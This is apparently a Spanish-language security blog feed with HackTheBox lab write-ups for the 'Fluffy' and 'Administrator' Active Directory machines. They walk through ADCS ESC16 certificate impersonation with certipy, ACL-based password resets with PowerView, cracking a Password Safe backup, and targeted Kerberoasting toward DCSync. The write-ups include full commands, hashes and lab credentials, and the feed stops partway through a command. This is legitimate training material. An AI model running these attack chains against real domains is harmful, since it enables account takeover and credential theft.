&lt;p&gt;`Certipy v5.0.0 - by Oliver Lyak (ly4k)&lt;/p&gt;
&lt;p&gt;[*] Requesting certificate via RPC
[*] Request ID is 1
[*] Successfully requested certificate
[*] Got certificate with UPN &amp;lsquo;&lt;a href="mailto:administrator@corp.local"&gt;administrator@corp.local&lt;/a&gt;&amp;rsquo;
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to &amp;lsquo;administrator.pfx&amp;rsquo;
[*] Wrote certificate and private key to &amp;lsquo;administrator.pfx&amp;rsquo;` ”&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="ajuste-de-tiempo-y-hash-de-winrm_svc"&gt;Ajuste de tiempo y hash de winrm_svc&lt;/h3&gt;
&lt;p&gt;Necesito maniobrar rápido (porque &lt;code&gt;p.agila&lt;/code&gt; vuelve a su estado normal en poco tiempo), así que saco el hash de &lt;code&gt;winrm_svc&lt;/code&gt; para trabajar más cómodo.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;faketime &lt;span style="color:#f92672"&gt;-f&lt;/span&gt; +7h certipy-ad auth -pfx winrm_svc.pfx -dc-ip &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 -username winrm_svc -domain fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Certipy v4.8.2 - by Oliver Lyak (ly4k)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[!] Could not find identification &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; the provided certificate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Using principal&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; winrm_svc@fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Trying to get TGT...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Got TGT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Saved credential cache to &lt;span style="color:#e6db74"&gt;&amp;#39;winrm_svc.ccache&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Trying to retrieve NT hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;winrm_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Got hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;winrm_svc@fluffy.htb&amp;#39;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; aad3b435b51404eeaad3b435b51404ee&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;33bd09dcd697600edf6b3a7af4875767
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Nota: aquí uso &lt;code&gt;faketime&lt;/code&gt; para “fakear” la hora y evitar problemas de Kerberos (porque &lt;code&gt;ntpupdate&lt;/code&gt; no me estaba funcionando correctamente). Así me salto parte del lío de sincronización.&lt;/p&gt;
&lt;h3 id="user-flag-winrm"&gt;User flag (WinRM)&lt;/h3&gt;
&lt;p&gt;Con esa cuenta entro por &lt;strong&gt;evilwin-rm&lt;/strong&gt; y obtengo la user flag.&lt;/p&gt;
&lt;h3 id="esc16-upn-manipulation--certificado-de-administrator"&gt;ESC16: UPN manipulation + certificado de Administrator&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-80a9-9bcf-fea8aa317c74.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Modifico el UPN de &lt;code&gt;ca_svc&lt;/code&gt; y lo pongo como &lt;code&gt;administrator&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/55341592-66fc-44f4-82cd-27c58b644b21.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Hago el request del certificado y puedo impersonar a Administrator.&lt;/p&gt;
&lt;p&gt;Después tengo que revertir el UPN de &lt;code&gt;ca_svc&lt;/code&gt; a otro valor para que el nombre &lt;code&gt;administrator&lt;/code&gt; vuelva a apuntar al Administrador real.&lt;/p&gt;
&lt;p&gt;Revierto el UPN de &lt;code&gt;ca_svc&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;certipy-ad account -u 'winrm_svc' -hashes '33bd09dcd697600edf6b3a7af4875767' -dc-ip '10.129.78.23' -user 'ca_svc' -upn 'ca_svc_restored' update&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Y me autentico con el certificado de Administrator:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;faketime -f +7h certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.78.23 -domain fluffy.htb&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-8071-ae6b-e255a1c67dc4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Lo tengo.&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Administrator (Medium)</title><link>https://synacklabs.github.io/posts/administrator/</link><pubDate>Sat, 17 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/administrator/</guid><description>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina es una muy buena introducción a &lt;strong&gt;Active Directory&lt;/strong&gt; si no lo has tocado nunca. El flujo es bastante directo: con unas credenciales iniciales entramos por &lt;strong&gt;WinRM&lt;/strong&gt;, enumeramos el dominio con &lt;strong&gt;RustHound/BloodHound&lt;/strong&gt;, abusamos de &lt;strong&gt;ACLs (GenericAll / ForceChangePassword)&lt;/strong&gt; para pivotar entre usuarios, recuperamos credenciales desde un &lt;strong&gt;backup&lt;/strong&gt; en FTP y terminamos con una cadena clásica hacia &lt;strong&gt;DCSync&lt;/strong&gt; para obtener el hash de Administrator.&lt;/p&gt;
&lt;p&gt;Aunque en HTB aparece como &lt;em&gt;Medium&lt;/em&gt;, &lt;strong&gt;no me parece una máquina complicada&lt;/strong&gt;. La dificultad real está en entender el &lt;em&gt;camino&lt;/em&gt; de AD y qué significa cada permiso, más que en la explotación en sí.&lt;/p&gt;</description><content>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina es una muy buena introducción a &lt;strong&gt;Active Directory&lt;/strong&gt; si no lo has tocado nunca. El flujo es bastante directo: con unas credenciales iniciales entramos por &lt;strong&gt;WinRM&lt;/strong&gt;, enumeramos el dominio con &lt;strong&gt;RustHound/BloodHound&lt;/strong&gt;, abusamos de &lt;strong&gt;ACLs (GenericAll / ForceChangePassword)&lt;/strong&gt; para pivotar entre usuarios, recuperamos credenciales desde un &lt;strong&gt;backup&lt;/strong&gt; en FTP y terminamos con una cadena clásica hacia &lt;strong&gt;DCSync&lt;/strong&gt; para obtener el hash de Administrator.&lt;/p&gt;
&lt;p&gt;Aunque en HTB aparece como &lt;em&gt;Medium&lt;/em&gt;, &lt;strong&gt;no me parece una máquina complicada&lt;/strong&gt;. La dificultad real está en entender el &lt;em&gt;camino&lt;/em&gt; de AD y qué significa cada permiso, más que en la explotación en sí.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/3fde77c1-1af1-4b95-831e-6f03e9ae6057.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="enumeración"&gt;Enumeración&lt;/h3&gt;
&lt;p&gt;Arrancamos con un escaneo de puertos que ya nos da una pista clara: es un &lt;strong&gt;DC&lt;/strong&gt; (Kerberos, LDAP, SMB, WinRM, etc.).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;21&lt;/span&gt;/tcp open ftp syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft ftpd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;/tcp open domain syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Simple DNS Plus
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;88&lt;/span&gt;/tcp open kerberos-sec syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Kerberos
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;135&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;139&lt;/span&gt;/tcp open netbios-ssn syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;389&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;445&lt;/span&gt;/tcp open microsoft-ds? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;464&lt;/span&gt;/tcp open kpasswd5? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;593&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;636&lt;/span&gt;/tcp open tcpwrapped syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3268&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3269&lt;/span&gt;/tcp open tcpwrapped syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;5985&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft HTTPAPI httpd &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;9389&lt;/span&gt;/tcp open mc-nmf syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; .NET Message Framing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;47001&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft HTTPAPI httpd &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; DC; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Windows
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="smb-445"&gt;SMB (445)&lt;/h3&gt;
&lt;p&gt;Con las credenciales proporcionadas podemos autenticarnos, pero la enumeración inicial no muestra nada especialmente útil.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nxc smb &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 -u Olivia -p &lt;span style="color:#e6db74"&gt;&amp;#39;ichliebedich&amp;#39;&lt;/span&gt; --shares
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Share Permissions Remark
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ADMIN$
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C$
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;IPC$ READ Remote IPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NETLOGON READ Logon server share
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SYSVOL READ Logon server share
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nxc smb &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 -u Olivia -p &lt;span style="color:#e6db74"&gt;&amp;#39;ichliebedich&amp;#39;&lt;/span&gt; --users
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;olivia
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;michael
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;benjamin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;emily
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ethan
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;alexander
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;emma
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="acceso-inicial-por-winrm"&gt;Acceso inicial por WinRM&lt;/h3&gt;
&lt;p&gt;El siguiente paso lógico es probar WinRM, y efectivamente con &lt;strong&gt;Olivia&lt;/strong&gt; podemos entrar.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nxc winrm &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 -u Olivia -p &lt;span style="color:#e6db74"&gt;&amp;#39;ichliebedich&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WINRM &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 &lt;span style="color:#ae81ff"&gt;5985&lt;/span&gt; DC [+] administrator.htb\Olivia&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ichliebedich (Pwn3d!)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="enumeración-de-ad-con-rusthound--bloodhound"&gt;Enumeración de AD con RustHound + BloodHound&lt;/h3&gt;
&lt;p&gt;Una vez dentro, enumeramos el dominio con &lt;strong&gt;RustHound-CE&lt;/strong&gt; y luego lo analizamos con BloodHound.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rusthound-ce --domain administrator.htb -u olivia@administrator.htb -z
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MachineAccountQuota&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;... .//20260117114901_administrator-htb_
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rusthound-ce.zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; created!
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el grafo vemos que &lt;strong&gt;Olivia&lt;/strong&gt; tiene &lt;strong&gt;GenericAll&lt;/strong&gt; sobre el usuario &lt;strong&gt;Michael&lt;/strong&gt;. En la práctica, esto nos permite forzar el cambio de contraseña del usuario sin conocer la actual.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“The GenericAll permission grants &lt;a href="mailto:OLIVIA@ADMINISTRATOR.HTB"&gt;OLIVIA@ADMINISTRATOR.HTB&lt;/a&gt; the ability to change the password of the user &lt;a href="mailto:MICHAEL@ADMINISTRATOR.HTB"&gt;MICHAEL@ADMINISTRATOR.HTB&lt;/a&gt; without knowing their current password.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80e9-9e38-d04952ca8100.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="pivot-1-olivia--michael-forcechangepassword"&gt;Pivot 1: Olivia → Michael (ForceChangePassword)&lt;/h3&gt;
&lt;p&gt;Subimos &lt;a href="http://powerview.ps/"&gt;&lt;strong&gt;PowerView.ps&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;1&lt;/strong&gt; (por ejemplo, con &lt;code&gt;upload&lt;/code&gt; desde &lt;code&gt;evil-winrm&lt;/code&gt;) y cambiamos la contraseña de Michael usando las credenciales de Olivia.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$SecPassword = ConvertTo-SecureString &lt;span style="color:#e6db74"&gt;&amp;#39;ichliebedich&amp;#39;&lt;/span&gt; -AsPlainText -Force
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$Cred = New-Object
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;System.Management
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.Automation.PSCredential(&lt;span style="color:#e6db74"&gt;&amp;#39;ADMINISTRATOR\\olivia&amp;#39;&lt;/span&gt;, $SecPassword)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$UserPassword = ConvertTo-SecureString &lt;span style="color:#e6db74"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; -AsPlainText -Force
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Set-DomainUserPassword -Identity michael -AccountPassword $UserPassword -Credential $Cred
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esto ya tenemos acceso como &lt;strong&gt;michael&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-8026-9052-d9e91c5fbe0b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="pivot-2-michael--benjamin"&gt;Pivot 2: Michael → Benjamin&lt;/h3&gt;
&lt;p&gt;Siguiendo el camino del grafo, repetimos la misma idea: Michael puede forzar el cambio de password de &lt;strong&gt;Benjamin&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80da-8e46-f17321b7b796.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="ftp-recuperamos-un-backup-de-credenciales"&gt;FTP: recuperamos un backup de credenciales&lt;/h3&gt;
&lt;p&gt;Con Benjamin vemos algo nuevo: &lt;strong&gt;acceso a FTP&lt;/strong&gt;, donde encontramos un archivo de backup.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/1e271056-461f-40c4-98c2-f689545cfb96.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ftp&amp;gt; dir
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;05&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;08&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;13AM &lt;span style="color:#ae81ff"&gt;952&lt;/span&gt; Backup.psafe3
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El archivo es una base de datos de &lt;strong&gt;Password Safe V3&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;file Backup.psafe3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Backup.psafe3&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Password Safe V3 database
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Extraemos el hash y lo crackeamos.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80c4-9c5d-dd2207911152.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-8094-8c58-cf4b7817fe09.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Abrimos el gestor y obtenemos 3 credenciales:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-8009-8081-deeb60a335b0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80d0-9294-c5225410b0c6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="camino-a-domain-admin"&gt;Camino a Domain Admin&lt;/h3&gt;
&lt;p&gt;En BloodHound, mirando el &lt;strong&gt;Shortest Path to Domain Admin&lt;/strong&gt;, vemos una ruta clara:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Emily&lt;/strong&gt; tiene &lt;strong&gt;GenericWrite&lt;/strong&gt; sobre &lt;strong&gt;Ethan&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Si comprometemos Ethan, podemos hacer &lt;strong&gt;DCSync&lt;/strong&gt; para dumpear los hashes del dominio.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80e9-90d0-db836a402fb8.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="intento-shadow-credentials-no-soportado"&gt;Intento: Shadow Credentials (no soportado)&lt;/h3&gt;
&lt;p&gt;Probamos &lt;strong&gt;Shadow Credentials&lt;/strong&gt;, pero el KDC no soporta autenticación con certificados y falla con:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;minikerberos.protocol.errors.KerberosError&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Error Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; KDC_ERR_PADATA_TYPE_NOSUPP
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="alternativa-kerberoasting-dirigido"&gt;Alternativa: Kerberoasting dirigido&lt;/h3&gt;
&lt;p&gt;Sin Shadow Credentials, seguimos por &lt;strong&gt;Kerberoasting&lt;/strong&gt;. Primero sincronizamos la hora para evitar problemas con Kerberos.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ntpdate -u &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 &amp;amp;&amp;amp; python
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;targetedKerberoast.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -v -d &lt;span style="color:#e6db74"&gt;&amp;#39;administrator.htb&amp;#39;&lt;/span&gt; -u &lt;span style="color:#e6db74"&gt;&amp;#39;emily&amp;#39;&lt;/span&gt; -p &lt;span style="color:#e6db74"&gt;&amp;#39;UXLCI5iETUsIBoFVTj8yQFKoHjXmb&amp;#39;&lt;/span&gt;
